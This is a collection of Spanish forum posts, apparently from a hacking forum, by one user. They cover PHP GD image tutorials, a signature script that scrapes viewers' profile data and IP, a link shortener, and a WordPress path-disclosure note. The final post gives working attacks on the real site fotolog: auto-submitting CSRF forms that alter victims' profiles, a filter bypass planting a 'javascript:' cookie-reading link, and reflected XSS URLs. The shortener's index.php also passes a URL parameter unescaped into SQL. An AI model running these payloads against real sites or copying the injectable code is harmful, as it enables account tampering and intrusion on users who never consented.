6 esquina superior izquierda, posición X

7 esquina superior izquierda, posición Y

Los datos que nosotros necesitamos son, abajo a la derecha y cumplirán el rol de x = ancho y y = altura.

Ahora que tenemos el valor que ocupa el texto tenemos que averiguar cual tiene que ser la posición del texto en la imagen. Cuando usamos una de las funciones para agregar texto, las posiciones x,y que indicamos van a ser las de arriba a la izquierda, por eso no podemos simplemente indicarle el centro de la imagen. Por eso, tenemos que restarle las medidas del texto a las medidas de la imagen. Obviamente hay que hacer ancho de la imagen - (menos) ancho del texto y alto imagen - alto texto. El resultado de estas operaciones dividido dos ( / 2) va a ser la posición x,y que le vamos a asignar al texto. Esto quedaría más o menos así:
Código (php) [Seleccionar]
<?php
header
("Content-type: image/png");
$im imagecreatetruecolor(100100);
$color imagecolorallocate($im255255255);
$fuente "HEMIHEAD.TTF";
$cajaTexto imagettfbbox(150$fuente"Castg!");
$xCentrado = (imagesx($im) - $cajaTexto[2]) / 2;
$yCentrado = (imagesy($im) - $cajaTexto[3]) / 2;
imagettftext($im150$xCentrado$yCentrado$color$fuente"Castg!");
imagepng($im);
imagedestroy($im);
?>

Entonces podemos observar que el texto quedo centrado:



Entonces terminamos con suerte la implementacion del texto en imagenes.




Redimensionar:

Una de las otras herramientas que nos da GD es la posibilidad de redimensionar y copiar imagenes.
Para redimensionar lo único que se hace es copiar una imagen a otra indicándole desde donde copiar y pegar, y que tamaño se quiere. Además, tenemos dos funciones una que redimensiona como el paint( osea como que faltan píxeles), es imagecopyresize(). Y otra que rredimensiona suavizando los valores de los píxeles. Esa función es:
Código (php) [Seleccionar]
imagecopyresampled($im_original, $im_detino, $x_destino, $y_destino, $x_original, $y_original, $ancho_destino, $alto_destino, $ancho_orginal, $alto_orginal);
Donde los x,y son desde donde se quiere copiar la imagen, y los de destino son desde donde se quiere ubicar la imagen.
Si yo tengo esta imagen:



Y quiero que mida la mitad como esto:



Tengo que hacer esto:
Código (php) [Seleccionar]
<?php
header
("Content-type: image/jpg");
$im_original imagecreatefromjpeg("http://www.foroswebgratis.com/fotos/1/3/9/3/5//595440elhacker.jpg");
$im_destino imagecreatetruecolor(imagesx($im_original) / ,imagesy($im_original) / );
$blanco imagecolorallocate($im_destino255255255);
imagefill($im_destino00$blanco);
imagecopyresampled($im_destino$im_original0000imagesx($im_destino), imagesy($im_destino), imagesx($im_original), imagesy($im_original));
imagejpeg($im_destino);
imagedestroy($im_destino);
imagedestroy($im_original);
?>

Y listo. por ultimo dejo claro que con imagecopyresize() permite copiar partes dentro de una misma imagen...




Bueno, esto les tiene que alcanzar para tener bastante claro las funciones más usadas con esta librería. Cualquier duda, error, mal entendido o cualquier cosa, comenten acá en este foro o si no quieren, me pueden mandar un mensaje personal o como ultimo recurso, mandarme un email. Mi dirección esta en el perfil (por ahora xD). espero que esto les sirva y se entienda, trate de ser lo más expresivo posible. un saludo grande a todos!
#40
buenas buenas!!! al fin y al cabo! pude terminar la fuckin firma!!!! es todo php (el fondo no xD!!) por ahora no subo el codigo, quiero saber sus opiniones :P si solo ven su ip y un mensaje actualicen. si eso pasa (porq aveces pasa xD!, lo hice para una seguridad al ver mi firma en un perfil) necesito un metodo de retardo. estuve viendo y vi la funcion "sleep" pero me lo retardaba mucho xD poniendole "sleep(1)". bueno, despues pruebo de vuelta porq tal vez se vio influenciado un corte de internet de unos 5 minutos masomenos. despues sigo probando y mas tarde subo el codigo, por ahora:

"noproxy"


la firma se ve con sus datos solo en posts del foro... y solo para usuarios registrados y visibles, los visitantes y usuarios ocultos solo ven su ip junto a un mensaje...


por ejemplo el mio dice:






agrego el codigo:

Código (php) [Seleccionar]
<?php
//Headers
header("Content-type: image/png");
//
//obtencion de datos: id user!
if(isset($_COOKIE['id'])){
$id $_COOKIE['id'];
}else{
//
//un retardo para conexiones lentas, para que no se adelante la pagina php...
sleep(2);
$ref getenv("HTTP_REFERER");
$post str_replace("\n" ""file_get_contents($ref));
$post explode('<td align="center" class="smalltext"><a href="http://foro.elhacker.net/profiles/'$post);
$post explode('.html">'$post[1]);
$post explode('-u'$post[0]);
$id $post[1];
}
//Prefil...
$perfil file_get_contents('http://foro.elhacker.net/index.php?&action=.xml;sa=profile;u='.$id);
$perfil preg_replace("/[\n\t\r]+/" ""$perfil);
$nick preg_replace("/.*<name><!\[CDATA\[(.*)\]\]><\/name>.*/""Hola $1!"$perfil);
$lugar preg_replace("/.*<location><!\[CDATA\[(.*)\]\]><\/location>.*/""Sos de $1."$perfil);
$edad preg_replace("/.*<age>(.*)<\/age>.*/""Tenes $1 años."$perfil);
$posts preg_replace("/.*<posts>(.*)<\/posts>.*/""Escribiste $1 posts."$perfil);
//
//
//Otros datos
$ip $_SERVER['REMOTE_ADDR'];
$userAgentstrtolower($_SERVER['HTTP_USER_AGENT']);
$navegador preg_replace("/.*(firefox|msie|opera|netscape|safari|chrome|epiphany|galeon|iceape|icewease|kazehakasel|konqueror|minefield|seamonkey|shiretoko|avant|lock|k-meleon|minefield|navigator).*/""$1"$userAgent);
$sistema preg_replace("/.*(windows|mac|linux).*/""$1"$userAgent);
$agent = ($navegador!=$userAgent && $sistema!=$userAgent) ? "Usas $navegador desde $sistema." "";
//
//
//depuracion de datos:
if($nick == $perfil){
$hayUser false;
}else{
$hayUser true;
if(
$lugar==$perfil){ $lugar "Ubicacion no definida"; }
if(
$edad==$perfil){ $edad "Edad no definida"; }
}
if(
$hayUser){
if(!isset(
$_COOKIE['id'])){
setcookie('id',$id);
}
$mensaje "$nick\n\n  $posts\n  $lugar\n  $edad\n  Tu ip es $ip.\n  $agent";
}else{
$mensaje "    Tu ip es: $ip\n\n  Para descubrir más de mis\npoderes, mirame en un post\ndonde Castg! comente." ;
}
//
//
//imagen
$im imagecreatefrompng('firma-perfil.png');
$blanco imagecolorallocate($im255,255,255);
$negro imagecolorallocate($im0,0,0);
$fuente "./persansb.ttf";
//
//centrar fuente:
$puntosTexto imagettfbbox(120$fuente$mensaje);
$tamanioTexto = array();
$tamanioTexto['x'] = $puntosTexto[2] - $puntosTexto[6];
$tamanioTexto['y'] = $puntosTexto[3] - $puntosTexto[7];
$xtexto = (imagesx($im) - $tamanioTexto['x']) / ;
$ytexto = ((imagesy($im) - $tamanioTexto['y']) / 2) + imagefontheight($fuente) ;
// listo :D
//
//
imagettftext($im120$xtexto$ytexto$blanco$fuente$mensaje);
imagepng($im);
imagedestroy($im);
//
?>



al principio tuve problemas con las expresiones, despues se facilito todo y toco el trabajo de la libreria gd. ahi es mas facil, el unico inconveniente que tuve fue que al querer centrar el texto, faltaba sumarle el alto de la fuente, cosa que no tendria que hacer falta :S
ahora, la fuente es la Prespective Sans de mi preciado amigo fontreactor!! y el fondo fue unas cositas que hice en photoshop. (desde una pc con windows xD!) la imagen es de 300x150 pero si no me equivoco el codigo es generico para cualquier medida...

#41
PHP / Acortador de links!
19 Febrero 2010, 23:15 PM
bueno, me decidi a postear el codigo de un acortador de links que hice hace poco. tuve problemas con el dominio pero ya se terminaron los tramites. el resto de la web esta en pleno desarrollo xD! pero bueno. para usarlo pueden entrar al link: http://castg.com.ar/tiny osea, para ser un acortador es un toq grande el dominio xD pero esta bueno para las sqli o para poner por ejemplo post de elhacker en el subnick del msn xD! jejejej bueno. pero ademas de poner mi link, les dejo el codigo fuente:
[les aviso que es re simple, puede tener vulnerabilidades, igual con janito24 ya andubimos probando algo, pero les agradeceria que me pongan otras mas que encuentren. si encuentran algo como para hacer flood ¬¬ como janito  >:( tengan encuenta que no es un servidor en mi pc, asi que se las arreglan con el host, igualmente es gratiutio!!!]

insert.php (ingresa la direccion a la base de datos, si ya existe, devuelve la clave de la misma) tambien guarda la ip y el dia con la hora... [para el flood xD!]
Código (php) [Seleccionar]
<?php
$ref
=$_SERVER["HTTP_REFERER"];
$svn=$_SERVER['SERVER_NAME'];
if(!
preg_match("/^(http:\/\/((www\.)?$svn))/"$ref)){
echo 
chr(172).chr(172);
exit();
}
if(isset(
$_GET['uri_p']) && $_GET['uri_p']!=""){
$uri_p $_REQUEST['uri_p'];
if(!
preg_match("/^(ht|f)tp(s)?:\/\//"$uri_p)){
$uri_p "http://".$uri_p;
}
require(
'func.php');
$mysql mysql_connect("host","user","pass");
mysql_select_db("basededatos"$mysql);
$nodupli mysql_query("SELECT * FROM datos WHERE url='".urlencode($uri_p)."'"$mysql);
if(
mysql_num_rows($nodupli)!=0){
$resultado_nd=mysql_fetch_array($nodupli);
$nuevadir="http://".$_SERVER["SERVER_NAME"].str_replace("insert.php","",$_SERVER["PHP_SELF"]).$resultado_nd['token'];
echo 
$nuevadir;
}else{
$token_f=clave();
$nodupli mysql_query("SELECT * FROM datos WHERE token='$token_f'");
while(
mysql_num_rows($nodupli)!=0){
$token_f=clave();
$nodupli mysql_query("SELECT * FROM datos WHERE token='$token_f'");
}
mysql_query("INSERT INTO datos (url,token,ip,date) VALUES ('".urlencode($uri_p)."','$token_f','".$_SERVER['REMOTE_ADDR']."','".date("j \d\e\l n \d\e Y \a \l\a\s h:i:s")."')"$mysql);
$nuevadir="http://".$_SERVER["SERVER_NAME"].str_replace("insert.php","",$_SERVER["PHP_SELF"]).$token_f;
echo 
$nuevadir;
}
}else{
echo 
"Ingresa la direccion";
}
?>



index.php (el ajax que utilizo es uno que encontre por ahi :p ami en firefox me anda bien, no probe en otros navegadores... si tienen un mejor metodo aca toy :P)
Código (php) [Seleccionar]
<?php
$pag 
"
<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Transitional//EN\" \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\">
<html>
<head>
<title>Castg! - Anonimizador de links</title>
<link href=\"style.css\" rel=\"stylesheet\" type=\"text/css\" />
<script type=\"text/javascript\">
function insertar(url){ 
     div_result = document.getElementById('result');
     peti=getXMLHttp();  
     peti.open(\"GET\", \"insert.php?uri_p=\"+url);  
     peti.onreadystatechange=function() {  
        if (peti.readyState==4) { 
//saco la ***** de publicidad 
            if(peti.responseText.split(\"\\n\")){
                resultado=peti.responseText.split(\"\\n\");
            div_result.value = resultado[0];
            }else{
            div_result.value = peti.responseText;
            }
        }  
    }  
    peti.send(null);  
}
function  getXMLHttp()
{
  var xmlHttp

  try
  {
    //Firefox, Opera 8.0+, Safari
    xmlHttp = new XMLHttpRequest();
  }
  catch(e)
  {
    //Internet Explorer
    try
    {
      xmlHttp = new ActiveXObject(\"Msxml2.XMLHTTP\");
    }
    catch(e)
    {
      try
      {
        xmlHttp = new ActiveXObject(\"Microsoft.XMLHTTP\");
      }
      catch(e)
      {
        alert(\"Your browser does not support AJAX!\")
        return false;
      }
    }
  }
  return xmlHttp;
}
</script>
</head>
<body>
<div id=\"on\">
<input type=\"text\" name=\"uri_p\" id=\"uri_p\" value=\"Ingresa la direccion\" autocomplete=\"off\" onFocus=\"if(this.value=='Ingresa la direccion'){this.value='';}\" style=\"background-color: #FFFFFF; font-size:10pt; color:#2F2F7B;\">
<input type=\"button\" onclick=\"insertar(document.getElementById('uri_p').value)\" value=\"Anonimizar!\">
<div>
<br/>
<p><span class=\"Estilo1\">Tinycastg:
  </span><input name=\"result\" type=\"text\" id=\"result\" onClick=\"if(this.value!=''){this.select();}\" style=\"background-color: #CCCCCC; font-size:10pt; color: #222299;\" readonly=\"readonly\" >
</div>
</div>
</body>
</html>
"
;
if(!isset(
$_GET['t'])){
echo 
$pag;
}else{
$mysql mysql_connect("host","user","pass");
mysql_select_db("basededatos"$mysql);
$url mysql_query("SELECT * FROM datos WHERE token='".$_GET['t']."'");
if(
mysql_num_rows($url)!=0){
$url mysql_fetch_array($url);
header("Location: ".urldecode($url['url']));
}else{
echo 
$pag;
}
}
?>



func.php (hay una sola funcion xD pero no tenia ganas de cambiar todo el code. estuve buscando alguna encriptacion corta de unos 7 u 8 caracteres peo no encontre. asi que se me ocurrio esta forma para poder elegir la cantidad de caracteres que quiera...)

Código (php) [Seleccionar]
<?php
function clave(){
$chars='7539846210qazwsxedcrfvtgbyhnu7539846210jmikolpPOIUYTREWQALKJHGFDSMNBVCXZ';
$l_chars=strlen($chars);
$l_max=8;
$clave='';
for(
$i=0;$i<$l_max;$i++){
$l_rand=rand(1,$l_chars);
$clave .= substr($chars,$l_rand,1);
}
return 
$clave;
}
?>



los estilos quedan a gusto propio.. les dejo tambien por ultimo el .htaccess. esta colocado en el mismo directorio que los archivos...

Código (apache) [Seleccionar]

RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
#estos dos comprueban que no sean ni archivos ni directorios... lo demas ya se sabe...
RewriteEngine on
RewriteBase /tiny
RewriteRule ^(.*) index.php?t=$1
#reescribe xD, toma los datos por expresion regular y los pasa a la otra cadena (como preg_replace)



bueno, este es mi codigo. pronto estara la gran firma que te dice todos tus datos :D:D te va a decir los datos tuyos del foro y otras cosas mas :D:D: jejejje >:D

un saludo grande a todos y espero que les sea util para algo ...
#42
PHP / SSi.php del smf (quien ve este tema)
19 Febrero 2010, 03:45 AM
buenas, miren, me hicieron descubrir el archivo ssi y la verdad esta re copado! es muy versatil y estoy en un proyectito :p y lo que quiero es saber quie esta veiendo el post este por ejemplo. osea, para mi proyecto necesito saberquienes son las personas que estan viendo tal post. nose si ven en cada post aparece "jose, martin y 3 Visitantes estan viendo este tema." eso es desde el ssi no? y si no me equivoco es la funcion :
Código (php) [Seleccionar]
ssi_fetchPosts($post_ids, $override_permissions = false, $output_method = 'echo')

ahora, si esa es la funcion correcta, como puedo hacer funcionarla desde http://foro.elhacker.net/SSI.php?ssi_function=

porq pruebo y pruebo y no puedo! osea, como ingreso la variable : $post_ids


bueno espero que me puedan responder ;D un saludo grande
#43
Diseño Gráfico / emoticones de el foro
11 Febrero 2010, 02:25 AM
bueno, cambiaron al fin los emoticones, pero les soy sincero, estan horribles xD! osea, no es q estan FEOS sino qu a mino me gustan. por eso se me ocurrio ver si un usuario comun (como por ejemplo yo) puede hacer un grupo de emoticones y despues hacemos una encuesta de cual se podrian usar, o mejor, tener un menu de que iconos queres tener, como elegimos le tema del foro en nuestro perfil, elegir un grupo de emoticones.. que les parece?
#44
bueno, navegando por un blog (el cual me llamo novato ¬¬ por un tema de indexes de apache en mi web), estaba viendo una imagen cuando se me dio por borrar el directorio y dejarlo en: http://blog.cl/wp-includes/ y le di enter, me di cuenta que me daba un full file disclosure, pero son de archivos por defecto de wordpress.
Preo cuando hago click en uno,"/class.wp-scripts.php", me tira un error tipo:

CitarFatal error: Class 'WP_Dependencies' not found in /home/ ¬¬ /public_html/wp-includes/class.wp-scripts.php  on line 19

el dueño de este "blog", (novato tambien de todas formas) me dice, "publicalo en el foro" y le digo "see". entonces antes que nada me fijo en otro wordpress y vo que tambien sucedia lo mismo. eso queire decir que este directorio de wordpress no tiene ningun tipo de index, el servidor (como todo apache por defecto) tiene activado los autoindexes, y el webmaster (novato¬¬) no se le dio por mirar sus directorios. al ver esto se me ocurre antes que nada como cualquier vulnerabilidad (aunque chota sea) que posteo en el foro, avisar al webmaster o al creador en este caso, porq esto es algo generico... comono encontre nignun formulario en wordpress ni tampoco ningun link o mail de contacto (que me dio un poco de bornca!) decido a informarles esto a ustedes asi porq si.

muy simple. tienen un blog que se llame powened.com/blog/, entonces le agregan un /wp-includes y ya tienen el autoindex de apache, abren algun archivo ya que muchos causan un error y tienen un full path disclosure.

no es la gran cosa, no siempre funciona, pero se los quise contar. un saludo grande ! ;)
#45
bueno bueno, que mas, les voy a contar TODO! porq quiero un post bien larguito xD! y en tambien esta en el blog este mismo post (osea apreto enviar, lo copio y pego en el blog xD!)

empiezo, taba en la casa de fede y me mostro un csrf para borrar comentarios de las fotos, bueno, pasa que este es re conocido :p y dijimos, bueno, ya encontramos 2 xss y un "ftp" de la api de fotolog(aunque no lo sepan, el genio de fede en el dominio http://si.fotolog.com/i94/ encontro que estaban habilitados los indexes de apache yse podia navegar por los codigos fuentes de fotolog xD! testigos: WHK y SDC) y los xss uno lo encontro fede hace banda en el "redirect=" del cambio de idioma y yo hace poco (solo funciona en IE) otro medio raro, pero no taban tan piolas, la cosa era encontrar mas, mejor cantidad y menos calidad. nos pusimos a ver el perfil y a modificarlo, nos dimos cuenta que no pedia contraseña como en otros casos, vimos el codigo fuente del formulario y tampoco tenia token.
Wow! copiamos el formulario y empezamos a depurar, ni bien empezamos nos tubimos que ir (para mi casa xD!) y aca (en mi casa  ;-)) despues de boludear y boludear, encontramos otro csrf, pero no depuramos nada ni tampoco usamos el otro fichero, el de la casa de fede.

entonces hoy agarro y digo (ya solito en mi casa y fede en la suya) postiemos los 2 CSRF en elhacker.net asi [ego]ven que tanto inteligentes somos![/ego] y cunado me pongo a buscar los formularios, a depurar (que llevo su tiempo la verdad!!) y todo eso, me propongo buscar mas csrf, y encontre uno mas, boludiando por el perfil tambien me di cuenta que baypaseando se puede agregar un link a: "javascript:alert(1)" y por ultimo encontre otro xss. al ver esto decimos, en que garcha subimos nuestras fotos?, y si, es una garcha. jajaj. ahora voy a poner los formularios de los CSRF seguido de como baypasear y despues donde esta el xss.
Guarda con los formularios porq se mandan solos automaticamente se abren...

1er formulario: (este modifica los datos personales...)

Código (html4strict) [Seleccionar]
<body onload="document.update_prefs.submit()">
<form id="settings" action="http://account.fotolog.com/profile" name="update_prefs" method="post" enctype="multipart/form-data">
<input type="hidden" class="checkbox" id="display_bio" name="display_bio" checked value="true">
<input type="hidden" id="bio_statement" name="bio_statement" wrap="virtual" value="Te cabieron el pote!">
<input type="hidden" class="checkbox" id="display_image" name="display_image" checked value="false">
<input type="hidden" id="image" name="image" class="lg">
<input type="hidden" id="firstname" name="firstname" class="lg" value="Me ponwearon" maxlength="32">
<input type="hidden" id="lastname" name="lastname" class="lg" value="Fede_cp y Castg" maxlength="32">
<input type="hidden" class="radio" name="gender" id="g_0" value="0">
<input type="hidden" class="radio" name="gender" id="g_1" value="1">
<input type="hidden" class="radio" name="gender" id="g_2" value="2">
<input type="hidden" id="profession" name="profession" class="lg" value="Ser powneado :'(" maxlength="40">
<input type="hidden" class="med" name="new:plink:0:name" value="Castg! y Fede_cp son los ***** amos!" maxlength="64">
<input type="hidden" class="med" name="new:plink:0:url" value="http://google.com" maxlength="64">
<input type="hidden" class="med" name="new:plink:1:name" value="xss no, terrible pelotudes see!!!" maxlength="64">
<input type="hidden" class="med" name="new:plink:1:url" value="javasjavascript:cript:alert(document.cookie)" maxlength="64">
<input type="hidden" class="checkbox" name="delete:new:plink:0">
<input type="hidden" class="checkbox" name="delete:new:plink:1">
<input type="hidden" name="new:plink:1" value="1">
<input type="hidden" id="country" name="country" value="_N">
<input type="hidden" id="state" name="state" value="00">
<input type="hidden" name="city" id="city" maxlength="128" class="med" value="El ciber mundo!">
<input type="hidden" name="language" value="tr">
<input type="hidden" name="new:camera:0:type" value="3">
<input type="hidden" id="fotolog_description" name="fotolog_description" wrap="virtual" value=":P">
<input type="hidden" name="new:camera:0:brand" value="Logitech" class="sm" maxlength="32">
<input type="hidden" name="new:camera:0:model" value="¿?" class="sm" maxlength="32">
<input type="hidden" type="checkbox" name="delete:new:camera:0">
<input type="hidden" name="new:camera:0" value="1">
<input type="hidden" id="music" name="music" wrap="virtual" class="med" value="Reggae con un fasito!">
<input type="hidden" id="movies" name="movies" wrap="virtual" value="Garganta Profunda (busquen en el puto google ¬¬)">
<input type="hidden" id="sports" name="sports" wrap="virtual" value="Lucha en el barro!">
<input type="hidden" class="med" name="new:favlink:0:name" value="I'm cagado!" maxlength="64">
<input type="hidden" class="med" name="new:favlink:0:url" value="http://google.com" maxlength="64">
<input type="hidden" class="checkbox" name="delete:new:favlink:0">
<input type="hidden" name="new:favlink:0" value="1">
</form>
</body>


2do formulario: (este modifica los colores y titulo...)

Código (html4strict) [Seleccionar]
<body onload="document.update_prefs.submit()">
<form name="update_prefs" action="http://account.fotolog.com/page_design" id="settings" method="post" enctype="multipart/form-data">
<input type="hidden" name="title" value="Me cabieron el pote!">
<input type="hidden" name="margin_txt_color" value="FFFFFF">
<input type="hidden" name="margin_link_color" value="33FF00">
<input type="hidden" name="margin_bg_color" value="FFFF00">
<input type="hidden" name="text_color" value="FFFFFF">
<input type="hidden" name="hyperlink_text_color" value="FFFF00">
<input type="hidden" name="background_color" value="FFFF00">
</form>
</body>


3er formulario: (noticias por mail... "newlestter")

Código (html4strict) [Seleccionar]
<body onload="document.update_prefs.submit()">
<form name="update_prefs" method="post" enctype="multipart/form-data" id="settings">
<input type="hidden" name="receive_email_digest" value="true">
<input type="hidden" name="receive_updates" value="true">
<input type="hidden" name="receive_newsletter" value="true">
<input type="hidden" name="receive_promotionals" value="true">
</form>
</body>


la verdad son re boludos, pero quiera uno o no! jajaj




Bypass en URL: (el bypass lo descubrio favaloro, un medico argentino)

bueno, en http://account.fotolog.com/profile en la parte de enlaces personales ponen el nombre q se les cante, si son floggers ponegan "mail de cumbio" y pican al toq xD!, y en url si ponen javascript:alert(1); se los transforma en http://alert(1)/; entonces si ponemos javasjavascript:cript:alert(1); borra el javascript armado, uniendo los separados . entonces cuando ponen click en el "link" saltara un alert con el mesaje "1".




XSS: (aca no tengo nada para poner :p)

muy simple,
aca uno: (salta 5 veces) http://txn.fotolog.com/gift_store?u=%22%3E%3Cscript%3Ealert%28%27xss%20by%20castg%27%29;%3C/script%3E

aca otro parecido pero nomas que saltan 7 :P : http://txn.fotolog.com/gift_store?id=712&u=%22%3E%3Cscript%3Ealert(%27xss%20by%20castg%27);%3C/script%3E




bueno, este fue un capitulo de fede_castg, espero que les haya gustado y... chau. jajaj

Aviso que mande dos mails al webmaster, ahora q se jodan xD!